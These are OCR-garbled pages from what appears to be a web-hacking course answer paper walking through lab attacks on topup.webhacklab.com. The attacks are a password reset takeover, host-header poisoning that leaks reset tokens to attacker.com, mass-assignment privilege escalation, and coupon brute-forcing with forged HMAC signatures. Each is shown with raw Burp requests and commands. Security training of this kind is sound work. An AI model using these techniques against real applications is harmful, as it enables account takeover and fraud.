__RequestVerificationToken=hXxbQG1_d1Pb5ac4l-hgc-wNdv_e06C9bOZ
yRImJViooPqqZIDiuDgVehN_UQBB-cXTzPvfudVChiGQcCheWXqWYr91a
28-jpjcxnPj7iA01&RecoveryOption=2&Email=anant%40webhacklab.com

NotSoSecure part of Page: | 17
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Step 6: In the previous browser session Step 3, enter a new password and capture the request in
Burp Suite:

J RawT Params I Headers I Hex ]

POST /Account/ResetPassword1 HTTP/1.1

Host: topup.webhacklab.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64, x64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,"/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: hitp:/Aopup.webhacklab.com/Account/ResetPassword1

Content-Type: applicationfx-www-form-urlencoded

Content-Length: 187

Cookie:
__RequestVerificationToken=VQpywDJbh-S6BOWxXBf-EiTDZq2a3lYBYEV76Ql4Ykjg3Ds\vOywYqb0cH4 Ykgzd37L
NI1; ASP.NET_Sessionld=1gtafgv3drjhm0Owhn52linlb

DNT: 1

Connection: close

Upgrade-Insecure-Requests: 1

___RequestVerificationToken=h8g24pvgMyfpmaWgINrGZbkGDO0OX_3Z2pM30ZNiOQGjmzhvVSaRhP2eglSzkLZB1cnl
Q18&Password=Newpass1234%218&ConfirmPassword=Newpass1234

Step 7: Switch the value of cookie * ASP.NET_Sessionld’ with the one captured in Step 5 and
forward the request.

|.#| Request to http://topup webhacklab.com:80 [192.168.200.110]

[ Forward J [ Drop J [ Intercept is on } Action
J RawT Params I Headers | Hex

POST /Account/ResetPassword1 HTTP/1.1

Host: topup.webhacklab.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0
Accept: text/html,applicationfxhtml+xml.application/xml;q=0.9,"/";,q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http:./fopup.webhacklab.com/Account/ResetPassword1

Content-Type: application/x-www-form-urlencoded

Content-Length: 187

Cookie:

__RequestVerificationToken=VQpywD Jbh-S6BOWxBf-EiTDZq2a3lYBYEV76QI4 Ykjg3DsVvOywYqb0cH4Ykgzd37LEA|L8 1iW Tz6
NI1[ASP.NET Sessionld=geom0Oulhsycjojmhkvmifznt |
DNT: 1

Connection: close

Upgrade-Insecure-Requests: 1

__RequestVerificationToken=h8g24pvgMyfpmaWgINrGZbkGDO0X_3Z2pM30ZNiOQGjmzhvVSaRhP2eglSzkLZB1cnK-nUe5neilP(
Q1&Password=Newpass1234%21&ConfirmPassword=Newpass 1234

The password for user “anant@webhacklab.com” is now set to a new password “Newpass1234”.

Similarly change the password of the user “csuserX@webhacklab.com”.

NotSoSecure part of Page: | 18
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Host Header Validation Bypass

Challenge URL: http://topup.webhacklab.com/Account/ForgotPassword

e Bypass host header validation to perform header poisoning for your account.
e Capture the password reset token.

e Change the password of the account using the captured token.
Solution:

Step 1: Initiate the forgot password request as your user.

NOTESECURE HOME TOPUP  VOUCHERS SHOP  LOGIN  REGISTER Q :

Forgot your password?

© Recover using registered Email
~ Answer Security Questions

P @gmail.cor

w NotSoSecure part of Page: | 19
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Step 2: Capture the request and change the value of the ‘Host’ header from

“topup.webhacklab.com” to “attacker.com” and send it, the application accepts the request:

Cancel > | Follow redirection Target: http://topup.webhacklab.com

Request

J RawT Params T Headers T Hex ]

POST /Account/ForgotPassword HTTP/1.1

Host: attacker.com ;{

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8

Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: http://topup.webhacklab.com/Account/ForgotPassword

Content-Type: application/x-www-form-urlencoded

Content-Length: 191

Cookie:

__RequestVerificationToken=ghxWL nSsBrITjRT__--p_ fZzWz52S50KWTUMVGBRZqgilci8Upu7j N3tcCty9KygtDkgMV_vIZNCIilv3IpNEJ

H7J2H_cuh7j6rZpm0Fjvb301

Connection: close

Upgrade-Insecure-Requests: 1 [/

__RequestVerificationToken=AmeLIHNSUEPYx8xXCZV3YN1-NGR6brigq0DGec6caCjKxkUkdI3nkIRbuRagXP3Hhx_ Q4Pgc-tNSTqODBTbHmMWY

GW2HCujpYYQLRSPUMCthRrYl&RecoveryOption=1&Email=: ‘gmail.com X
2 + > Type a search term 0 matches

Response

J RawT Headers T Hex T HTML T Render ]

Content-Type: text/html; charset=utf-8
Location: /Account/ForgotPasswordConfirmation
Server: Microsoft-IIS/8.5
X-AsplNetMvec-Version: 5.2

X-AsplNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Sun, 08 Apr 2018 07:42:34 GMT
Connection: close

Content-Length: 152

T

<html><head><title>Object moved</title></head><body>

<h2>0bject moved to <a href="/Account/ForgotPasswordConfirmation">here</a>.</h2>
</body></html>

LN

Step 3: You will receive an email with a password reset link. However, the link has not been
poisoned and contains the original domain ‘topup.webhacklab.com’. This suggests that the

application is either not vulnerable or there is some header validation in place.

Reset Password Inbex =

Ly i

™ = webdevsec@gmail.com

] - tome =

- . Hi i J@gmail.com,

. R A request to reset password was received from your Account
L]

Use the below link to reset your password.

& “

If you did not request a password reset, you can ignore this message and continue using your current password to log in

Thanks,
Team NotSoSecure

4. Reply ®» Forward
No recent chats
Start a new one

opup.webhacklab.com/Account/ResetPassword?code=MNdK7kr27mugAvC0gQYIzyEIWinaQlfiPotx4XY/wP8=8&userld = 17848f87-e22d-475c-8942-4ebd22531 h4c|

NotSoSecure part of Page: | 20
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Step 4: Change the value of the header ‘Host’ in the request to

‘topup.webhacklab.com.<Own_Domain>" and send it, the application will again accept the request:

Go r < | Follow redirection Target: http://topup.webhacklab.com U D

J Raw T Params THeaders THex 1

POST /Account/ForgotPassword HTTP/1.1

Host: topup.webhacklab.com.attacker.com H\
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0

Accept: text/html,application/xhtml+xml,application/xml;g=0.9,%/%;gq=0.8

Accept-Language: en-0S,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: http://topup.webhacklab.com/Account/ForgotPassword

Content-Type: application/x-www-form-urlencoded

Content-Length: 191

Cookie:
__RequestVerificationToken=ghxWL_nSsBrITjRT__--p_£ZzWz52S50RWTUMVGBKZgilci8Upu7j_NW3tcCty9KyqtDkgMV_vZNCI9ilv3pNEJ
B7J2H_cuh7j6rZpm0Fjvb301

Connection: close

Upgrade-Insecure-Requests: 1 [/

__RequestVerificationToken=AmeLIHNsSuEPYX8xCZV3YN1-NGR6briq0DGec6caCjKxkUkdI3nkIRbuRKagXP3Hhx_Q4Pgc-tNSTgODBTbHmMWY
GW2HCujpYYQLEKSPUMCthRrYl&RecoveryOption=1&Email= gmail.com

2 < + > Type a search term ] 0 matches

J RawT Headers T Hex T HTML T Render ]

Content-Type: text/html; charset=utf-8
Location: /Account/ForgotPasswordConfirmation [\

Server: Microsoft-IIS/8.5
X-AspNetMve-Version: 5.2
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET

Date: Sun, 08 Apr 2018 07:44:17 GMT
Connection: close

Content-Length: 152

<html><head><title>Object moved</title></head><body> E/
<h2>0bject moved to <a href="/Account/ForgotPasswordConfirmation">here</a>.</h2>
</body></html> v

Step 5: Start a python web server on port 80.

root@Kali:~# python3 -m http.server 80

® ~/tools
python3 -m http.server 80

Serving HTTP on ©0.0.0.0 port 80 (http://0.0.0.0:80/)
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claranet cyber security
https://t.me/learningnets

© Claranet Cyber Security 2021. All rights reserved



NSS Training — AWH 5D Answer Paper

Step 6: Open the password reset email and notice that the email reset link now has our custom

domain and the original domain as its subdomain:

Reset Password Inbox =

webdevsec@gmail.com

= tome =

& Hi | @gmail.com

=

h A request to reset password was received from your Account

Use the below link to reset your password.
Ll
- L.

If you did not request a password reset, you can ignore this message and continue using your current password to log in

Thanks,
Team NotSoSecure

. Reply ®» Forward
No recent chats
Start a new one
topup.webhacklab.com.attacker.com/Account/ResetPassword?code=MNdK7kr27mugAvC0gQYlzyEIWinaQIfiPotxdXY/wP8=&userld=17848f87-e22d-475c-8942-4ebd 2253 1b4 |

Step 7: Open the link and notice that python “SimpleHTTPServer” will receive a request containing

the password reset code.

@ ~/tools
python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
127.0.0.1 - - [11/Jul/2021 02:14:45] code 404, message File not found

127.0.0.1 - - [11/Jul/2021 02:14:45] | "GET /Account/ResetPassword?code=h@NX50D6Ana/gcziUkSf2Tf
XUWYAbIgIwHhgbbskA2I=5userId=30806fb6-8453-4d1la-b783-4096770488aa HTTP/1.1" 404 -

127.0.0.1 - - [11/Jul/2021 02:14:45] code 404, message File not found

127.0.0.1 - - [11/Jul/2021 02:14:45] "GET /favicon.ico HTTP/1.1" 404 -

NotSoSecure part of Page: | 22
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Step 8: By removing the injected domain from the password reset link we can go to the reset

password page and change the account password.

w(—w - Q@ o @ #& topup.webhacklab.com/Account/ResetPassword?code=MNdK7kr27mugAvCOgQYIzyEIW . o & i @ Em =
w» NotSosecure @ Shop Webhacklab | Topup Webhacklab @ Microblog € HealthCheck | Admin Webhacklab | Utility @ WebCache Poison @ WebCache Deception »
= NO'r@EME HOME TOPUP VOUCHERS SHOP LOGIN REGISTER Q

3|

Reset password

Email
@gmail.com

Password

ConfirmPassword

REST

Step 9: Using the newly set password we can login into the account.

(¢)> C & @ topup.webhacklab.com TR n o 52
W NotSosecure @ Shop Webhacklab | Topup Webhacklab @ Microblog @ HealthCheck | Admin Webhacklab | Utility @ WebCache Poison @ WebCache Deception

= MTme HOME TOPUP VOUCHERS SHOP @GMAIL.COM MY ORDERS Q

Web Hacking- Black Belt Edition

Keep calm, stay in the process and see what's going on.

W fadc 2t olm
g LECIRE E
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Module: Business Logic and
Authz Flaws

Mass Assignment

Challenge URL: http://topup.webhacklab.com/api/user

e [Escalate privilege from a “bronze” user to a “gold” user through profile update to

avail additional discount.
Solution:

Step 1: Login into the topup application and go to the profile page. Notice that the application shows

that the user membership is “Bronze”.

= N‘"@mE HOME TOPUP VOUCHERS SHOP MY ORDERS Q
Name Mobile
Dhruv 987654321

Question Password Answer
What is your favourite City? ~  ##%

Profile Image Membership
- ‘.=
o Yol
\
| Browse.. |flowerpng Bronze

Billing Address

Address

UPDATE
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Step 2: Select a topup and notice that no membership discount is provided for the user.

02 Back €
02 300 GBP
Service charge 10 GBP
Woucher Discount - 140 GEP

| Membership Discount (%) 0 |

Total 170.5 GBP

Apply voucher code (if any)

Apply voucher code and get up to 80% discount Order Notes

if324d34354a414e

PAY NOW
APPLY

Step 3: Update the user profile and intercept the request, as shown below:

f Request to http:/{topup.webhacklab.com:80 [192.168.200.110]
| Forward || Drop | [ Intercept is on | | Action | Comment this item W ®

JRaWT ParamsT HeadersT Hex TJSON BeautifierTJWS ]

POST /api/user HTTP/1.1
Host: topup.webhacklab.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
ccept: application/json, text/javascript, */*; q=0.01
ccept-Language: en-US,en;q=0.5
ccept-Encoding: gzip, deflate
Referer: http://topup.webhacklab.com/Account/Profile
ontent-Type: application/json
uthorization: Bearer
y]0eXAiOiJKV1QiLC]hbGciOijlUzI1Ni)9.ey)1bmIxdWVfbm FtZSI6ImRocnV2Lm5zc0BtYWIsaW5hdG9yLmNvbSIsimVtYWIsljoiZGhydXYubnNzQ
G1haWxpbmFOb3luY29tliwiaXNzljoiaHROcDovL3dIYmhhY2tsYWIuY29tLylsimV4cCI6MTUZNDQSNjYzMSwibm)mljoxNTYzMjg3MDMxfQ.7TAGh
FApzelGSepbZLmedFOaYVFr5xtdjZ4qeSPhiGSw
X-Requested-With: XMLHttpRequest
Content-Length: 208
Cookie:
| RequestVerificationToken=MMNhsk0gDp7gl_kCOvZy8wpFG4CCpeUoSrQQmM|lxMsS--ZLKPYwhp88LAKg7QQ7CS23YdFrgRpTVPi6nho-7lg
_RLxwolLkEo3cO7WqgUaAl
IConnection: close

L

{"id":"46ca046b-e8a3-4e27-a20f-445a8915febe","userName":", L m =m 1","name":"Dhruv","phoneNumber":"987654321",
'PasswordQuestion":"What is your favourite City?","PasswordAnswer":"","HomeTown":""}
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Step 4: In the intercepted request add another JSON parameter "membership":"Gold™ and send the
request.

f Request to http:/ftopup.webhacklab.com:80 [192.168.200.110]

| Forward || Drop J [ Intercept is on | Action Comment this item W ®
j RawT ParamsT Headers I Hex TJSON Beautifier T JWs 1

POST /api/user HTTP/1.1 2
Host: topup.webhacklab.com

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0

Accept: application/json, text/javascript, */*; q=0.01

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://topup.webhacklab.com/Account/Profile

Content-Type: application/json

Authorization: Bearer

ey]0eXAiQi|KV1QILCJhbGciOijluzI1Nij9.ey]1bmIxdWVfbmFtZSI6lmRocnV2Lm 5zc0BtYWIsaW5hdG9yLmNvbSIsiImVtYWIsljoiZGhy dXYubnNzQ

GlhaWxpbmFOb3luY29tliwiaXNzljoiaHROcDovL3dlYmhhY2tsYWIuY29tLylsimV4cCI6MTU2NDQSNjYzMSwibm)mljoxNTYzMjg3MDMxfQ.7AGh
z4pzclGSepbZLmcdF0aYVFr5xtdjZ4qeSPbiGSw

X-Requested-With: XMLHttpRequest

Content-Length: 208

Cookie:
__RequestVerificationToken=MMNhsk0qDp7gl_kCOvZy8wpFG4CCpeUoSrQQmM|IxMsS--ZLKPYwhp88LAKqQ7QQ7CS23YdFrgRpTVPi6nho-7lg
r_RLxwoLkEo3cO7WqUaAl

Connection: close

{"id":"46ca046b-e8a3-4e27-a20f-445a8915fe6e", "userName":"mm a ur v

1) . W T, | neNumber":"987654321",
"PasswordQuestion":"What is your favourite City?","PasswordAnswer":"","HomeTown":""|"Membership":"Gold'

Step 5: Refresh the profile page and notice that the membership has been updated to “Gold”.

= NOTESECURE HOME TOPUP VOUCHERS SHOP MY ORDERS O\
Profile
Name Mobile
Dhruv 987654321

Question

What is your favourite City?

Profile Image

Membership

i

| Browse.. |Nofile selected. Gold

Billing Address

Address

UPDATE
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Step 6: Select the same topup and notice that an additional membership discount of 20% is

provided (being a Gold member).

02 Back €
o2 300 GBP
Service charge 10 GBP
Voucher Discount A

I Membership Discount (%) 20 |

Total 248 GBP

Apply voucher code (if any)

Apply voucher code and get up to 80% discount Order Notes

PAY NOW
APPLY

Step 7: To complete the payment process, use a random number as the credit card number (do not

use a real credit card number).

VISA NotSoSecure Payment GateWay

Order Infomation

Order Id Information

fob05f85675d4c31aea3ba7f20408960 Recharge, You'll receive the recharge code and
instructions on the email address you filled in. That
wav vou'll alwavs stav connected!

Amount Email
248 GBP

Credit Card Details

* Please don't use a real credit card. This is a notsosecure payment gateway

Name on Card

Dhruv Shah

Card Number

9876543212345678

Menth Year cwv

11 1111 Yy b
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Invite/Promo Code Bypass

Challenge URL: http://topup.webhacklab.com/Shop/Topup

e Identify the promo code generation mechanism for O2 Mobile.
e Brute-force and identify valid secret promo codes to get maximum discount on
recharge (greater than 50%).

Solution:

Step 1: Login into the topup application and go to the vouchers feature. The application shows few
promo codes to the user to get various discounts, such as 10%, 15%, 35% Cashback on Mobile
topup/Bill Payments for different service providers.

4f324d31354d4152

Flat upto 15% Cashback on Mobile Topup/Bill Payments
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Step 2: The coupon codes look random on the first look. However, a pattern seems to emerge on

deep inspection of various voucher codes. The voucher codes seem to follow a pattern:

Hex Decode Coupon Code:

root@Kali:~# echo "4f324d31354d4152" | xxd -r -p

HexDecode[4f324d31354d4152] = O2M15MAR

0O2M15MAR = ServiceProvider+DiscountValue+Month

4f324d31354d4152
5649523230415052
45434f31304d4159

O02M15MAR
VIR20APR
ECO10MAY

Note: Based on this analysis we can create a list of possible codes with higher discount value, for

example:

e HexEncode[O2M40MAY] = 4f324d34304d4159
e HexEncode[O2M50MAY] = 4f324d35304d4159
e HexEncode[O2M60MAY] = 4f324d36304d4159
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We can also use the script “coupon.py” (in /root/tools/coupons) to generate such tokens, as shown

below:

root@Kali: ~/tools/coupons# python3 coupon.py 02M 60 | tee coupon_code.txt

root@® kali ~/tools/coupons

pytthS coupon.py 02M 60 | tee coupon_code.txt
02M6@JAN : 4f324d36304aklbe
02M6QFEB : 4f324d3630464542
02M6OMAR : 4f324d36304d4152

02M6QAPR : 4f324d3630415052
02M6OMAY : 4f324d36304d4159

02M6@JUN : 4f324d36304a554e
02M6@JUL : 4f324d36304a554c
02M60QAUG : 4f324d3630415547
02M6@SEP : 4f324d3630534550
02M6@0CT : 4f324d36304f4354
02M6@NOV : 4f324d36304e4f56
02M6ODEC : 4f324d3630444543
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Step 3: Input a sample coupon in the “coupon box” and capture the request. Provide a valid coupon
value and forward the request, similarly, provide an invalid coupon value and forward the request.

Based on the difference in response, we can identify if a provided coupon is valid or not.

e Valid Coupon code with valid signature response: "status":"1"
e Invalid/valid coupon code with the invalid signature response: “500 Internal server

error”

Go | [ cancel | [ <Iv >|v Target: http://topup.webhacklab.com L’Jw

Request

Raw | Params | Headers | Hex

GET /api/Voucher?code=|4f324d3l 354d415 kaid= 114sig=C3AAFD90FED2A0B800F1A496E5F9214BBF236B5111609AAC93C6CD31CB67EFE92 HTTP/1.1 A
Host: topup.webhacklab.com i
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S8 X 10.14; rv:64.0) Gecko/20100101 Firefox/64.0

Accept: */*

Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: http://topup.webhacklab.com/shop/checkout?id=3

Authorization: Bearer
eyJ0eXAi01JKV1QiLCIhbGei10iJIUZI1N1J9.eyJlbmlxdWVEbmFtZSI6InNhbmpheUBub3Rzb3N1Y3VyZS5)b201iLCI1bWFpbCI6InNhbmpheUBub3Rzb3N1Y3V
¥Z55jb20iLCIpc3Mi0iJodHRWO18vbGY jYWxob3N0OjUINDMyLyIsImV4cCI6MTUOOTk30DU2MiwibmImI joxNTQ4NzY40TYy£Q.XVYp80zvhXAKNZr 1pVXssTWQ

? [ < + 1] Type a search term ] 0 matches

Response

Raw | Headers | Hex | JSON Beauliﬂer]

HTTP/1.1 200 OK

Cache-Control: no-cache

Pragma: no-cache

Content-Type: application/json; charset=utf-8
Expires: -1

Server: Microsoft-IIS/10.0
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET

Date: Fri, 01 Feb 2019 13:31:35 GMT
Connection: close

Content-Length: 259

T

{"code": "Z0GGjzw3yugnjCp9CpWNgwblhuVzWuréL2YtiaQea2E=", "active": "True" "value":15,"validity":10,"title":"Flat
upto 15 Cashback on Mobile Topup/Bill Payments", "description":"Flat upto 15 Cashback on Mobile Topup/Bill
Payments", "imageURL":"02.Jjpg"}

Step 4: The application validates the “sig” parameter based on request data, so application gives

500 with changing code value.

Go || cancel | [ <l ][ >Iv] Target: http://topup.webhacklab.com @@
Request

Raw | Params | Headers | Hex

GET /api/voucher?code44f324d31354d4153&pid=1lQSig=C3AAFD90FED2A0800F1A496E5F9214BBF23655111609AAC93C6CD31CB67EFE92|HTTP/l‘l 4
Host: topup.webhacklab.com T
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.14; rv:64.0) Gecko/20100101 Firefox/64.0

Accept: */*

Accept-Language: en-US,en;g=0.5

Accept-Encoding: gzip, deflate

Referer: http://topup.webhacklab.com/shop/checkout?id=3

Authorization: Bearer
eyJ0eXA10iJKV1QiLCIhbGci0iJIUZIINiLJ9.eyJlbmlxdWVEbmFtZSI6InNhbmpheUBub3Rzb3N1Y3VyZS5jb20iLCI1bWFpbCI6InNhbmpheUBub3Rzb3N1Y3V
yZS5jb20iLCIpc3Mi0iJodHRWOi8vbGY jYWxob3N0OjUINDMYLyIsImV4cCI6MTUOOTk30DUZMiwibmImI joxNTQ4NzY40TYy£Q.XVYp80zvhXAKNZrlpVXssTWQ 'y

(2)f<][+][> Type a search term 0 matches

Response

Raw | Headers | Hex | JSON Eeautifier]

TTP/1.1 500 Internal Server Errorl
Cache-Control: no-cache

Pragma: no-cache

Content-Type: application/json; charset=utf-8
Expires: -1

Server: Microsoft-IIS/10.0
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET

Date: Fri, 01 Feb 2019 13:31:27 GMT
Connection: cleose

Content-Length: 36

8 I3

{"message":"An error has occurred."}
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Step 5: Observe the JavaScript code in the “checkout” page, it shows the method used to generate

the “sig” parameter with the static key used for encryption purposes.

€ (}‘I fopup.webhacklab.com/st heckout?id= \] @ c + 4 O

= NOT SECURE

€ » C

Save Page As...

Select All

Checkout

O N
View Page |fifo

oz 300 GBP Inspect Elgment (Q)
Service charge 10 GBP

Voucher Discount NA
Membership Discount (%)

Total 310 GBP

§ FoxyProfy Standard

Apply voucher code (if any)

Apply voucher code and get up to 80% discount

PAY NOW
APPLY

_Eife Edit  View History Bookmarks Tools Help
http://topup.webhacklab.... x | +

i (@ | view-source:http:/ftopup.webhacklab.com/shop/checkout?id=11 4+ 4« 0O =
W NotSoSecure @ Health Check @ Shopping Portal | Topup Website @ MBlog Portal [lljWT @ Database Connection @ Resume Uploading & Nodejs
var prodID = "11"; -
if (accessToken != null) {
var URL = window.location.protocol + "//" + window.location.hostname + (window.location.port 7 ":7 +
window.location.port : '') +"/api/voucher?code=" + code + "&pid=" + prodID; I
var hmacSignature = Crypto]S.enc.Hex.stringify(CryptoJS.HmacSHA256(URL,
"9z$B&E)H@McQfTjWnZrdu7x!A%D*F-Ja")) . toUpperCase() ;

Step 6: Regenerate the “sig” parameter for updated code value using the script provided. There are
two arguments the script accepts; the first argument is “code” parameter, and the second argument

is “pid” parameter:

root@Kali: ~/tools/coupons# python3 coupon_request_sig.py 4f324d31354d4153 11

® ~/tools/coupons
python3 coupon_request_sig.py 4f324d31354d4153 11

4f324d31354d4153:39D6D6566D2608A93B55D65DA9E9079509A177E8D297A4DB5EC6246EECO7BFAL
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Step 7: Replace the “sig” parameter with the value generated using the above step. Now the “sig”
parameter is validated successfully without errors, and it then proceeds to check the coupon’s

validity. In this case, the coupon is invalid, so it returns the status as invalid.

| Go | <l|r | Target: http://topup.webhacklab.com |#|| 7|

Raw | Params | Headers | Hex

GET /api/voucher?codezﬂf324d31354d4153hpid:ll&Sig#l‘SDﬁDﬁ566D2608A93B55D65DA9E9079509Al77EBD297A4DB5EC6246EECD7BFA1I HTTP/1.1 A
Host: topup.webhacklab.com \
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10.14; rv:64.0) Gecko/20100101 Firefox/64.0

Accept: */*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://topup.webhacklab.com/shop/checkout?id=3 {

Authorization: Bearer
eyJ0eXAi0iJKV1QiLCIhbGeci0iJIUZI1INiJ9.eyIJ1bmlxdWVEbmFtZSI6InNhbmpheUBub3Rzb3N1Y3VyZS5jb20iLCI1bWFpbCI6InNhbmpheUBub3Rzb3N1Y3V
¥ZS5jb20iLCIpc3Mi0iJodHRWOi8vbGI jYWxob3N0OjUINDMyLyIsImV4cCI6MTUOOTk30DU2MiwibmImI joxNTQ4NzY40TYyfQ . XVYp80zvhXAKnZr1pvXssTWQ 'y

Lz < + | [ > ] |Type asearch term 0 matches

Raw | Headers T Hex TISON Beautifier ]
HTTP/1.1 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/json; charset=utf-8
Expires: -1
Server: Microsoft-IIS/10.0
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Fri, 01 Feb 2019 13:33:17 GMT
Connection: close
Content-Length: 159

7>

{"code":"x0KfInEtgAIOnfYbF4MgqIQblhuVzWur6L2YtiaQea2E=", "active":null)"status": "INVALID" | "value":0,"validity":0,"title":null,
"description":null, "imageURL":null}

Step 8: Forward the request to intruder and configure payload type as “pitchfork” and select the
“code” and “sig” parameter as the payload injection point. Create a list of coupon codes with

different discount values, as discussed in Step 2 and provide them as the payloads.

Create a file to store the sample coupon code.

root@Kali: ~/tools/coupons# cat coupon_code.txt | cut -d" " -f3 | tee

coupon_code.txt

root@ kali)- | ~/tools/coupons

# cat coupon_code.txt | cut -d"
4f324d36304akl4e
4f324d3630464542
4f324d36304d4152
4f324d3630415052
4f324d36304d4159
4f324d36304a554e
4f324d36304a554c¢
4f324d3630415547
4f324d3630534550
4f324d36304f4354
41324d36304e4f56
4f324d3630444543

-f3 | tee coupon_code.txt
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Step 9: Generate the equivalent “sig” for the sample coupon code.

root@Kali: ~/tools/coupons# python3 coupon_request_sig.py coupon_code.txt 11 |

tee coupon_code_sig.txt

root@ kali ~/tools/coupons
#f python3 coupon_request_sig.py coupon_code.txt 11 | tee coupon_code_sig.txt
4f324d36304a414e:31CCBA8BBC7D8929C320C4466CD4C95541806FF3D271DA3670FAE4C2079BEF750
4f324d3630464542:C8DIF66E4F9OBEC61FES4EAFOCFOEAE3DABA93167FF1D706FOOBEF4A960B3B62
4f324d36304d4152: F7BOB7BE63B8491FC925A88DBA23A5EDAO7AD231B7774CABB292369F6EFSECD8

4f324d3630415052: FE6B198AFAD2161C366C9A2C65843E69FEE87A93E8C9074525FEACO737A64133
4f324d36304d4159: 7D88AFAAD21301E4F37F984F3EFCFDCBB56E894D5FE2F527AB86364E54EASB2E

4f324d36304a554e:8EE41F1D83B38EEQ2C9F98DBB108C27BEO9ED2B6D34AF50FBEFDFBA30201F9BC
4f324d36304a554c:BBF1BCE1EBE7F18139F57E40C9192B125AC2FEF961DCA1621ED4934E4FDECADS
4f324d3630415547:319B53FF5FAFB2A4AL092727F31876067EADA820F427D6DE29895C777D97654F
4f324d3630534550:77D8587FF4291FF4B45737224B8314EE468DD5S0AF37A09EDFED9AE@9A7 1DEDOE
41324d36304T4354: C15AE14A3B4FC7966A227E759E2DCC85EF26C4E739646C20C1E391576EB11215
4f324d36304e4f56:CBE9BOE1B10894D9317FCFF7AD9BF57F9386CFE358113BD57B063DFDAD784B9F
4f324d3630444543:B1F03B602616D55D0BC163D99479411C24342144F507FC2FDOAC27705833477A

Step 10: To run Burp intruder, grep the signature from the output.

root@Kali: ~/tools/coupons# cat coupon_code_sig.txt | cut -d":" -f2 | tee

coupon_code_sig.txt

root@ kali)- | ~/tools/coupons
#f cat coupon_code_sig.txt | cut -d":" -f2 | tee coupon_code_sig.txt
31CCBA88C7D8929C320C4466CD4C95541806FF3D271DA3670FAE4C2079BEF750
C8D9F66E4F90OBEC61FES4EAF9CFOEAE3DABA93167FF1D706FOOBEF4A960B3B62
F7BOB7BE63B8491FC925A88DBA23A5EDAB7AD231B7774CABB292369F6EF8ECDS
FE6B198AFAD2161C366C9A2C65843E69FEEB7A93EBC9074525FEACO737A64133
7D88AFAAD21301E4F37F984F3EFCFDCBB56E894D5FE2F527AB86364ES54EASB2E

8EE41F1D83B38EE02CO9F98DBB108C27BEOSEO2B6D34AF50FBEFDFBA30201F9BC
BBF1BCE1EBE7F18139F57E40C9192B125AC2FEF961DCA1621ED4934E4FDECADS
319B53FF5FAFB2A4A4092727F31876067EADA820F427D6DE29895C777D97654F
77D8587FF4291FF4B45737224B8314EE468DD50AF37A09EDFED9AEOSA71DEDOE
C15AE14A3B4FC7966A227E759E2DCC85EF26C4E739646C20C1E391576EB11215
CBE9BOE1B10894D9317FCFF7ADSBF57F9386CFE358113BD57B063DFDAD784B9F
B1F03B602616D55D0BC163D99479411C24342144F507FC2FDOAC27705833477A
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Step 11: Configure intruder in such a way where attack type is “Pitchfork” and payload1 is “coupon

code” (Load it from file coupon_code.txt) and payload2 is “sig” (Load it from coupon_code_sig.txt).

Request Payloadl Payload2 Status
3 4f324d36304d4152 F7BOB7BE63B8491FC925A88D... 200
4 4f324d3630415052 FE6B198AFAD2161C366C9A2C6... 200
5 | 4f324d36304d4159 7D88AFAAD21301E4F37F984F3... 200|
6 4f324d36304a554e 8EE41F1D83B38EE02C9F98DBB... 200
Request Response

MWl Raw Render \n  Actions vV

3 Pragma: no-cache

4 Content-Type: application/json; charset=utf-8

5 Expires: -1

6 Server: Microsoft-IIS/8.5

7 X-AspNet-Version: 4.0.30319

8 X-Powered-By: ASP.NET

9 Date: Sun, 11 Jul 2021 09:04:38 GMT

10 Connection: close

11 Content-Length: 259

12

13 {

"code": "AkLife3NKyNfKwXbujDYMQblhuVzWur6L2YtiaQea2E=",
"active":"Truye",
"status":"1",
"value":60,
"validity":10,

"title":"Flat upto 60 Cashback on Mobile Topup/Bill Payments",
"description”:"Flat upto 60 Cashback on Mobile Topup/Bill Payments”,
"imageURL":"02.jpg"

}

Run the scan and based on the response, we can identify that the coupon code ‘4f324d36304d4159’

is valid and a discount of 60% is provided.
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Step 12: Use the coupon code identified in Step 11 and buy a recharge at a discount of 60%.

Checkout

02 Back €
Vodafone Pay as you Go 10 GBP 300 GBP
Service charge 10 GBP
Voucher Discount - 186 GBP

Total 124 GBP

Apply voucher code (if any)

Apply voucher code and get up 80% discount

41324d36304d4159

PAY NOW
APPLY

v

Good job!

Your order has been received and is now being processed

=0
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APl Authorization Bypass

Challenge URL: http://topup.webhacklab.com/api/user

¢ Identify the password question of “aabuserX@webhacklab.com” user.

e Update the phone number of the user “aabuserXx@webhacklab.com.com”.

Solution:

Step 1: Login to the application and navigate to the user profile functionality. In Burp proxy history

notice that the application sends an API request to fetch user details.

For the walkthrough we will be updating the phone number of “anant@webhacklab.com”.

Cancel < |» > | Target: http://topup.webhacklab.com

Request

J RawT Params T Headers T Hex ]

